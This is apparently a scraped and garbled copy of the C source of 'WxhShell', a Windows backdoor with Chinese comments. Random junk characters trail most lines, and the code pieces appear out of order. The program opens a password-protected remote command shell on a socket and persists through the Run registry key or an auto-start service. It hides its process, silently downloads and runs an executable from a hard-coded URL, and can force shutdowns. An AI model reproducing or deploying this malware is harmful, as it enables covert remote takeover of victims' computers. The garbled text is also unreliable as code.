    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]9L oZ)  
    else { fVwU e _Y  
    closesocket(wsh); f::Dx1VcX  
    ExitThread(0); 'yth'[  
    } B *vM0  
    break; $(9U@N9E  
    } !W0v >p  
  // 获取shell A >$I -T+  
  case 's': { +"(jjxJm  
    CmdShell(wsh); !BI;C(,RL  
    closesocket(wsh); #g=XUZ/"  
    ExitThread(0); V]N?6\Op  
    break; Qd6FH2Pl  
  } *VeRVaBl  
  // 退出 5;S.H#YOpO  
  case 'x': { E9}C  #  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); HDKbF/  
    CloseIt(wsh); fnY.ao1-s[  
    break; +#By*;BJ  
    } 8Y3I0S  
  // 离开 y]im Z4{/  
  case 'q': { +RXoi2"-q@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); :EH=_"  
    closesocket(wsh); /bEAK-  
    WSACleanup(); "j-CZ\]U|  
    exit(1); Ie^l~ Gb  
    break; f5k6`7Vj]  
        } =EIkD9u  
  } $N\Ja*g  
  } mTh]PPo   
zJXplvaL;  
  // 提示信息 z=FZiH  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); .-=vx r  
} Tr|JYLwF  
  } *kVV+H<X|b  
b\ PgVBf9  
  return; +3`alHUK  
} 8_tQa^.n\  
dd["dBIZ '  
// shell模块句柄 2Hdu:"j  
int CmdShell(SOCKET sock) ]d`VT)~vje  
{ *dF>_F  
STARTUPINFO si; OH"XrCX7n  
ZeroMemory(&si,sizeof(si)); |'.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; &?vgP!d&M  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; i&k7-<  
PROCESS_INFORMATION ProcessInfo; vj*%Q(E6Pt  
char cmdline[]="cmd"; P&q7|ST%N  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); e*!kZAf  
  return 0; qVPeB,kIz  
} rbQR,Nf2x  
.G^YqJ 4  
// 自身启动模式 h1{3njdr  
int StartFromService(void) ~v83pu1!2s  
{ 5?L<N:;J_  
typedef struct 0Qd:`HF[  
{ >{Tm##@,k  
  DWORD ExitStatus; )jC%a6G!  
  DWORD PebBaseAddress; Ha#>G<;n  
  DWORD AffinityMask; WKU=.sY  
  DWORD BasePriority; X(C$@N  
  ULONG UniqueProcessId; PzGWff!*n  
  ULONG InheritedFromUniqueProcessId; [:V$y1  
}   PROCESS_BASIC_INFORMATION; %UM *79  
_~pbqa,  
PROCNTQSIP NtQueryInformationProcess; 5PW^j\G-f  
rGkyGz8>  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =mGez )T5\  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uGt-l4  
<,(,jU)j  
  HANDLE             hProcess; KYP!Rs/j.  
  PROCESS_BASIC_INFORMATION pbi; d %#b:(,  
c"Sq~X  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); p:%loDk  
  if(NULL == hInst ) return 0; .~}1+\~5  
'RRE|L,  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); xKC[=E>z  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); yEoV[K8k  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); JCaOK2XT;  
W%)Y#C  
  if (!NtQueryInformationProcess) return 0; C-[1iW'  
tl].r|yl  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); ;>YzEo  
  if(!hProcess) return 0; BB'OCN  
!a<ng&H^U  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; +MLVbK  
gNhQD*+>{  
  CloseHandle(hProcess); *#Wdc O `-  
@A 5?3(e  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); UDni]P!E  
if(hProcess==NULL) return 0; l+R+&b^  
yWya&|D9  
HMODULE hMod; gO^gxJ'0t  
char procName[255]; =ruao'A  
unsigned long cbNeeded; _y>~ yZx  
/=, nGk>  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "vslZ`RU  
Q|L~=9  
  CloseHandle(hProcess); %#}Zy   
qv"$Bd:]r  
if(strstr(procName,"services")) return 1; // 以服务启动 o lxByzTh>  
B]$GSEB  
  return 0; // 注册表启动 <|\Lm20 G]  
} +]50DxflA  
)Z VD+X  
// 主模块 'ah[(F<*@e  
int StartWxhshell(LPSTR lpCmdLine) "T"h)L<  
{ ##o#eZq:"  
  SOCKET wsl; ow#1="G,=  
BOOL val=TRUE; 42{:G8  
  int port=0; ; Hd7*`$  
  struct sockaddr_in door; 7!$^r$t   
-tNUMi'  
  if(wscfg.ws_autoins) Install(); !YJs]_Wr  
T n}s*<=V  
port=atoi(lpCmdLine); |&[EZ+[  
AvHCO8h|  
if(port<=0) port=wscfg.ws_port; @gtQQxf"  
pBPl6%C.X-  
  WSADATA data; !3v1bGk  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 2"S}bfrX  
e,5C8Q`Z  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   /OJ`c`>Q:  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); O<e{  
  door.sin_family = AF_INET; e*n@j  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 'Qo*y%{@5  
  door.sin_port = htons(port); L~>i,  
Y5d\d\e/  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { LraWcO\or'  
closesocket(wsl); 0C*7K?/  
return 1; EU/8=JA1  
} kM@zyDn,  
)];K .zP  
  if(listen(wsl,2) == INVALID_SOCKET) { _Y[bMuUb=  
closesocket(wsl); [66! bM&  
return 1; uXq. ]ub  
} 9<)NvU^-r  
  Wxhshell(wsl); (Clkv  
  WSACleanup(); 4 N7^?  
eNu7~3k}  
return 0;  :#~j:C|  
+ +#5  
} {GcO3G#FZ  
,i@:5X/t  
// 以NT服务方式启动 aoa)BNs  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) d5z`BH.  
{ dw7$Vh0y  
DWORD   status = 0; a+PzI x2  
  DWORD   specificError = 0xfffffff; hDq`Z$_+KX  
0nD/;\OU  
  serviceStatus.dwServiceType     = SERVICE_WIN32; tlt*fH$ .  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; o7LuKRl   
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; o\)F}j&b#=  
  serviceStatus.dwWin32ExitCode     = 0; :<#nTh_@\'  
  serviceStatus.dwServiceSpecificExitCode = 0; B !=F2  
  serviceStatus.dwCheckPoint       = 0; uc"P3,M  
  serviceStatus.dwWaitHint       = 0; XEZF{lP  
.@Dxp]/B}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); PIpi1v*qz  
  if (hServiceStatusHandle==0) return; {& T_sw@[  
^Js9 s8?$  
status = GetLastError(); b,%C{mC  
  if (status!=NO_ERROR) SN!?}<|U  
{ RlDn0s  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; 9pxc~=  
    serviceStatus.dwCheckPoint       = 0; x~j`@k,;  
    serviceStatus.dwWaitHint       = 0; *U\`CXn;  
    serviceStatus.dwWin32ExitCode     = status; ;l-!)0 U  
    serviceStatus.dwServiceSpecificExitCode = specificError; &q|K!5[k  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); }XM(:|8J,  
    return; rI-%be==  
  } `%Al>u5  
Q'mM3pq4r  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; kd$D 3S ^{  
  serviceStatus.dwCheckPoint       = 0; 5RpjN: 3  
  serviceStatus.dwWaitHint       = 0; 3gj+%%!G\  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;?g6QIN9  
} ^Zy% fv,  
 y%b F&  
// 处理NT服务事件,比如:启动、停止 h.s+)fl\  
VOID WINAPI NTServiceHandler(DWORD fdwControl) S +^E.  
{ (41|'eB\\  
switch(fdwControl) ^4Ah_ U  
{ 9Ly]DZ;L  
case SERVICE_CONTROL_STOP: qH6>!=00  
  serviceStatus.dwWin32ExitCode = 0;  "{Eta  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \<6CZ  
  serviceStatus.dwCheckPoint   = 0; usL* x9i  
  serviceStatus.dwWaitHint     = 0; f[^Aw(o  
  { 'D"C4;X  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2Jmz(cH%  
  } -n<pPau2  
  return; Y~E`9  
case SERVICE_CONTROL_PAUSE: ; XN{x  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; :7?FF'u  
  break; qXtC^n@x  
case SERVICE_CONTROL_CONTINUE: M b1s F  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; 1!T1Y,w  
  break; =-lb)Z"d  
case SERVICE_CONTROL_INTERROGATE: u21EP[[,  
  break; "djw>|,N<  
}; tlp@?(u  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 3az&<Pqb  
} b e^6i:  
9lH?-~9  
// 标准应用程序主函数 a1y-3 z  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) gH7|=W  
{ 5K?IDt7A]  
*6F[t.Or  
// 获取操作系统版本 s1=G;  
OsIsNt=GetOsVer(); &<U0ZvrsH  
GetModuleFileName(NULL,ExeFile,MAX_PATH); -FQ 'agf@&  
)Z?Ym.0/  
  // 从命令行安装 #@~+HC=  
  if(strpbrk(lpCmdLine,"iI")) Install();  *m,k(/>  
Nf"r4%M<6  
  // 下载执行文件 oVe|M ss6  
if(wscfg.ws_downexe) { Zt.|oYH$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) /& +tf*  
  WinExec(wscfg.ws_filenam,SW_HIDE); ;^I*J:]  
} $.rhRKs  
-f>%+<k=  
if(!OsIsNt) {  J@Q7p}  
// 如果时win9x,隐藏进程并且设置为注册表启动 /j|G(vt5  
HideProc(); .:QLk&a,:,  
StartWxhshell(lpCmdLine); Nyj( 0W  
} ,1CIBFY  
else !XCm>]R  
  if(StartFromService()) krvp&+uX  
  // 以服务方式启动 I\[_9  
  StartServiceCtrlDispatcher(DispatchTable); |! E)GahM  
else :'l^kSP_*C  
  // 普通方式启动 thM4vq   
  StartWxhshell(lpCmdLine); hPePB=  
364`IC( a  
return 0; 9g"2^^wD  
} T7u%^xm  
)MchsuF<  
}n2M G  
],a5)kV  
=========================================== TS9|a{j3!  
Yqi4&~?db  
(/j/>9iro  
H>B&|BO_[  
{U m)15K  
!F1N~6f  
" (HE9V]  
5Qn '  
#include <stdio.h> 5}]"OXQ  
#include <string.h> v,{yU\)  
#include <windows.h> Ww%=1M]e-  
#include <winsock2.h> nV:LqF=  
#include <winsvc.h> OAkZKG|  
#include <urlmon.h> ~h85BF5  
(#RHB`h5  
#pragma comment (lib, "Ws2_32.lib") QYjsDL><  
#pragma comment (lib, "urlmon.lib") <Fc;_GG  
;he"ph=>  
#define MAX_USER   100 // 最大客户端连接数 ,N[7/kT|  
#define BUF_SOCK   200 // sock buffer _i|t Y4L  
#define KEY_BUFF   255 // 输入 buffer ( _)jkI \  
J| bd)0  
#define REBOOT     0   // 重启 1@R Db)<V  
#define SHUTDOWN   1   // 关机 d>fkA0G/9!  
R:k5QD9/&p  
#define DEF_PORT   5000 // 监听端口 N@1+O,o  
oxkoA  
#define REG_LEN     16   // 注册表键长度 1Y@Aixx  
#define SVC_LEN     80   // NT服务名长度 OFv%B/O  
TQ*1L:X7M&  
// 从dll定义API ^_u kLzP9  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 48qV >Gwf  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); &c:Ad% z  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); M .JoHH  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); sy"^?th}b  
u\{ g(li-I  
// wxhshell配置信息 =L:4i\4  
struct WSCFG { l6kWQpV  
  int ws_port;         // 监听端口 aV?@s4  
  char ws_passstr[REG_LEN]; // 口令 +hT:2TXn  
  int ws_autoins;       // 安装标记, 1=yes 0=no )oPLl|=h  
  char ws_regname[REG_LEN]; // 注册表键名 /bi[ e9R  
  char ws_svcname[REG_LEN]; // 服务名 3? 7\ T#=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 M)N?qRD  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 }\#Rot>Y  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 TDNQu_E  
int ws_downexe;       // 下载执行标记, 1=yes 0=no n3Z 5t  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" K4;'/cS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 -Sx\Xi"<o=  
a]/>ra5{  
}; #Xb+`'  
GlT7b/JCG  
// default Wxhshell configuration Uo>] sNP~  
struct WSCFG wscfg={DEF_PORT, 2hkRd>)&5  
    "xuhuanlingzhe", 5>j)kx=J9  
    1, i9A+gtd  
    "Wxhshell", TAF PawH  
    "Wxhshell", h`k"A7M  
            "WxhShell Service", /[)qEl2]K  
    "Wrsky Windows CmdShell Service", 5sJJGv#6  
    "Please Input Your Password: ", rIh l.5Y  
  1, i2(1ki/|O  
  "http://www.wrsky.com/wxhshell.exe", s,n0jix@  
  "Wxhshell.exe" ^!z [t\$  
    }; <$~mE9a6  
%S nd\  
// 消息定义模块 lM{ +!-G,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NchXt6$i9  
char *msg_ws_prompt="\n\r? for help\n\r#>"; xJZ>uTN  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; <'Wo@N7  
char *msg_ws_ext="\n\rExit."; J<maQ6p  
char *msg_ws_end="\n\rQuit."; >U*T0FL7  
char *msg_ws_boot="\n\rReboot..."; ?1$fJ3  
char *msg_ws_poff="\n\rShutdown..."; D'A/wG  
char *msg_ws_down="\n\rSave to ";  !@'6)/  
oMTf"0EIW  
char *msg_ws_err="\n\rErr!"; JJ'.((  
char *msg_ws_ok="\n\rOK!"; `~;rblo;  
@reeO=  
char ExeFile[MAX_PATH]; C@W"yYt  
int nUser = 0; aKuSd3E@#  
HANDLE handles[MAX_USER]; h{p=WWK  
int OsIsNt; >ByXB!Wi+  
aZ'Lx:)R  
SERVICE_STATUS       serviceStatus; *nsAgGKKM^  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; oDYRQozo>  
<5jzl  
// 函数声明 y2vUthRwo  
int Install(void); dW~*e2nq  
int Uninstall(void); i35=Y~P-  
int DownloadFile(char *sURL, SOCKET wsh); ^?]%sdT q  
int Boot(int flag); fasgmi}  
void HideProc(void); Qx47l  
int GetOsVer(void); 69NQ]{1  
int Wxhshell(SOCKET wsl); yz*6W zD  
void TalkWithClient(void *cs); UHxE)]J  
int CmdShell(SOCKET sock); 1u(.T0j7f  
int StartFromService(void); a5!Fv54  
int StartWxhshell(LPSTR lpCmdLine); $3uKw!z  
MFm"G  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); R&';Oro  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); hQHnwr  
?0oUS+lU  
// 数据结构和表定义 mAW, ?h  
SERVICE_TABLE_ENTRY DispatchTable[] = <xC#@OZ  
{ z;wELz1L{  
{wscfg.ws_svcname, NTServiceMain}, e=;AfK  
{NULL, NULL} Y +\%  
}; y K2^Y]Ku?  
{aJJ `t  
// 自我安装 CL}{mEr}  
int Install(void)  n>`as  
{ /'DsB%7g  
  char svExeFile[MAX_PATH]; s)2fG\1  
  HKEY key; {aC!~qR  
  strcpy(svExeFile,ExeFile); &F5@6nJ`  
Bk\Gj`"7  
// 如果是win9x系统,修改注册表设为自启动  \qR %%S  
if(!OsIsNt) { ADk8{L{UU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { H0R&2#YD  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); aKJQm '9Ks  
  RegCloseKey(key); R% ,<\d7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { TdGnf   
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); BQ2wnGc  
  RegCloseKey(key); BC;:  
  return 0; ,b;{emX h  
    } { e5/+W  
  } tP%{P"g3^  
} -cm$[,b6  
else { j"@93D~  
*[R eb %  
// 如果是NT以上系统,安装为系统服务 j>/ ,$H  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Gkxj?)`  
if (schSCManager!=0) ;6{@^  
{ N**g]T 0`  
  SC_HANDLE schService = CreateService [ $T(WGF  
  ( JiU9CeD3  
  schSCManager, }sFm9j7yR  
  wscfg.ws_svcname, Iu *^xn  
  wscfg.ws_svcdisp, BEgV^\u  
  SERVICE_ALL_ACCESS, :C8$Xi_i}  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , "y<?Q}1  
  SERVICE_AUTO_START, $Qy7G{XJ[^  
  SERVICE_ERROR_NORMAL, d@G}~&.|  
  svExeFile, -tI'3oT1  
  NULL, -}6xoF?  
  NULL, OOz[-j>'Y+  
  NULL, W$Yc'E ;  
  NULL, d{de6 `  
  NULL )& <=.q  
  ); w7n373y%  
  if (schService!=0) y tf b$;|  
  { \yGsr Bl  
  CloseServiceHandle(schService); {Pu\?Cq  
  CloseServiceHandle(schSCManager); wgRs Z  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); O8W7<Wc |z  
  strcat(svExeFile,wscfg.ws_svcname); 7 +@qB]Bi<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { =}:)y0L  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); BMIyskl=i  
  RegCloseKey(key); @IP)S[^' t  
  return 0; nbTVU+  
    } HH>:g(bu  
  } fn/7wO$!  
  CloseServiceHandle(schSCManager); ^+9sG$T_EV  
} `H3.,]  
} `3'0I/d"z  
d@3}U6,  
return 1; ]}6w#)]"  
} 08m;{+|vY  
C}*cx$.  
// 自我卸载 :aIN9;  
int Uninstall(void) %D`,k*X  
{ \rV B5|D?  
  HKEY key; D*Q.G8(  
5I@w~z  
if(!OsIsNt) { lw(e3j  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { U70]!EaT  
  RegDeleteValue(key,wscfg.ws_regname); PSmfiaThwo  
  RegCloseKey(key); 0G2g4DSKD  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Zf>^4_x3P  
  RegDeleteValue(key,wscfg.ws_regname); KYxBVgJ  
  RegCloseKey(key); @i3bgx>_o  
  return 0; 9r2IuS0  
  } i o3yLIy,  
} *+b6B_u]  
} <p?&udqD  
else {  X}6#II  
8g >b  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); [!VOw@uz  
if (schSCManager!=0) U#o'H @  
{ 6R29$D|HFO  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 7.+#zyF  
  if (schService!=0) 9=/N|m8.  
  { Bz`yfl2  
  if(DeleteService(schService)!=0) { )P>u9=?,=E  
  CloseServiceHandle(schService); D8# on!  
  CloseServiceHandle(schSCManager); N6[i{;K@N{  
  return 0; Gj /3kS~@  
  } jUqy8q&  
  CloseServiceHandle(schService); ? QDWuPhN  
  } M'1!<a-Mp  
  CloseServiceHandle(schSCManager); rB%$;<`/  
} =N|kn<h4  
} ^SfS~G Q  
+tN &a  
return 1; t%r :4,  
} ?oiKVL"7  
'~wpP=<yyF  
// 从指定url下载文件 :Ld!mRZF  
int DownloadFile(char *sURL, SOCKET wsh) VZIR4J[\.  
{ www`=)A;  
  HRESULT hr; GW2')}g  
char seps[]= "/"; 1[;@AE2Y  
char *token; YO:&;K%  
char *file; s2v(=  
char myURL[MAX_PATH]; yO>V/5`  
char myFILE[MAX_PATH]; WnAd5#G  
I}Xg &-L  
strcpy(myURL,sURL); K$REZe  
  token=strtok(myURL,seps); )DUL)S  
  while(token!=NULL) y/@iT8$rp  
  {  !=*.$4  
    file=token; ~-F?Mc  
  token=strtok(NULL,seps); 6b Z[Kt  
  } #rYENR[  
u; TvS |  
GetCurrentDirectory(MAX_PATH,myFILE); 7XyOB+aQO  
strcat(myFILE, "\\"); .]}N55M  
strcat(myFILE, file); DjW$?>  
  send(wsh,myFILE,strlen(myFILE),0); ZZ)G5ji  
send(wsh,"...",3,0); 8Vt4HD08  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); YJ2ro-X  
  if(hr==S_OK) 5QWNZJ&}d  
return 0; ,dd WBwMK  
else aN^IP  
return 1; lz~J"$b  
s([Wn)I  
} <2P7utdZ  
)8{6+{5lu  
// 系统电源模块 j:1uP^.  
int Boot(int flag) LN!W(n(  
{ M'1HA  
  HANDLE hToken; :nQp.N*p  
  TOKEN_PRIVILEGES tkp; RFG$X-.e  
"6I[4U"@  
  if(OsIsNt) { &(&  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); g*]E>SQ=  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); a`Z{ xme =  
    tkp.PrivilegeCount = 1; Z-|li}lDr  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; iG[? ]]  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Ds5N Ap:x  
if(flag==REBOOT) { ^@}#me@  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Ud3""C5B  
  return 0; N5 q725zJ  
} Qp!Y.YnPd_  
else { j.QHkI1.  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) z*.v_Mx  
  return 0; "j Zm0U$,*  
} e!o(g&wBj  
  } cj(X2L  
  else { hswTn`f  
if(flag==REBOOT) { <FmBa4ONU  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) XS0V:<+,  
  return 0; ^&:'NR  
} O2H/rFx4  
else { c)1=U_61  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) wR7aQg  
  return 0; c d%hW  
} _@ i>s,  
} AQci,j"  
$ly0h W  
return 1; }~*rx7p  
} lvufkVG|  
9)Yw :  
// win9x进程隐藏模块 6D9o08  
void HideProc(void) E8tD)=1  
{ y-cw~kNPP3  
/{G/|a  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); YhgUCF#  
  if ( hKernel != NULL ) d1NE%hg3  
  { z`'P>.x   
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); A ^B@VuK  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); s-Y+x  
    FreeLibrary(hKernel); Y(GW0\<  
  } SLA#= K  
>}F?<JB  
return; L<@&nx   
} $'$>UFR  
R|t;p!T  
// 获取操作系统版本 #,P(isEZ"  
int GetOsVer(void) Gj`f--2GE  
{ Ve14rn  
  OSVERSIONINFO winfo; %vc'{`P  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ^W['A]l  
  GetVersionEx(&winfo); MxN]7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) A[ 1)!e  
  return 1; ~_}4jnC  
  else J<_1z':W)  
  return 0; &HxT41pku  
} WLy7'3@  
|+/$ g.  
// 客户端句柄模块 3o7xN=N  
int Wxhshell(SOCKET wsl) Mw|SH;nM  
{ #KJZR{  
  SOCKET wsh; ' PL_~  
  struct sockaddr_in client; s?<!&Y  
  DWORD myID; +UaO<L  
dP3VJ3+ %  
  while(nUser<MAX_USER) t~~r-V":  
{ 0|Q.U  
  int nSize=sizeof(client); .jum "va%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); Vw?P.4  
  if(wsh==INVALID_SOCKET) return 1; ]n1D1  
7xR|_+%~K  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); x9\J1\  
if(handles[nUser]==0) J=L`]XE  
  closesocket(wsh); GG>Y/;^  
else A[RN-R,  
  nUser++; J/gQQ. s  
  } 1Q_ ``.M  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 7 NUenCdc  
WFpl1O73  
  return 0; |QqWVelc  
} q @*UUj@   
eHROBxH&  
// 关闭 socket < [ w++F~  
void CloseIt(SOCKET wsh) `^f}$R|  
{ Y(W{Jd+  
closesocket(wsh); {"\q(R0  
nUser--; 2q|_Dma  
ExitThread(0); _"v~"k 90^  
} :28@J?jjO  
S `wE$so>  
// 客户端请求句柄 S r[IoF)  
void TalkWithClient(void *cs) 9 G((wiE  
{ = jBL'|k5  
8ipW3~-4  
  SOCKET wsh=(SOCKET)cs; %8g$T6E[<2  
  char pwd[SVC_LEN]; 0c-QIr}m  
  char cmd[KEY_BUFF]; 2:n|x5\H  
char chr[1]; ,FS?"Ni  
int i,j; )PHl>0i!  
;_w MWl0F  
  while (nUser < MAX_USER) { ],$6&Cm  
=QTmK/(|B  
if(wscfg.ws_passstr) { {z-NlH  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); }7&\eV{qU  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 4Z],+?.[  
  //ZeroMemory(pwd,KEY_BUFF); H7J`]nr6  
      i=0; $TFTIk*uU  
  while(i<SVC_LEN) { =>.DD<g"  
j@_nI~7f}  
  // 设置超时 r8<JX5zyuo  
  fd_set FdRead; {Wr\D Vp  
  struct timeval TimeOut; Vz k cZK  
  FD_ZERO(&FdRead); B_b8r7Vn`  
  FD_SET(wsh,&FdRead); d[yrNB6|  
  TimeOut.tv_sec=8; r \9:<i8  
  TimeOut.tv_usec=0; cy9N:MR(c  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); cyDiA(ot&  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); ~S! L!qY  
-aA<.+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); my=*zziN  
  pwd=chr[0]; Y]?Kqc  
  if(chr[0]==0xd || chr[0]==0xa) { ]C+eJ0"A  
  pwd=0; [3GKPX:OA/  
  break; -uO%[/h;N  
  } iczs8gj*  
  i++; V5cb}xx  
    } IOn`cbV:  
%~ ;nlDw  
  // 如果是非法用户,关闭 socket kA1f[ AL  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); '/n\Tg+  
} Xk 5oybDI  
![qRoYpbg8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); s }Xi2^x  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); XlE$.  
osI- o~#>  
while(1) { jg7d7{{SB  
aYqqq|  
  ZeroMemory(cmd,KEY_BUFF); 9Zs #Ky/  
4p*?7g_WVH  
      // 自动支持客户端 telnet标准   32TP Mk  
  j=0; zkuv\kY/Z  
  while(j<KEY_BUFF) { BW+qp3k\  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); cF-Jc}h  
  cmd[j]=chr[0]; 30t:O&2<  
  if(chr[0]==0xa || chr[0]==0xd) { Qu!OV]Cc  
  cmd[j]=0; ;>cLbjD  
  break; gCjH%=s  
  } R>^5$[  
  j++; 1{= E ?  
    } x|&[hFXD  
k0gJ('zah  
  // 下载文件 Vj#%B.#Zbf  
  if(strstr(cmd,"http://")) { &8R-C[A  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); (*LTq C  
  if(DownloadFile(cmd,wsh)) oBhL}r  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6(!,H<bON  
  else ~oEXM ?M  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); oiIt3<BX  
  } ,^UcRZ8.H  
  else { bEBZ!ghU  
o}5'v^"6,  
    switch(cmd[0]) { = ?y^O0v  
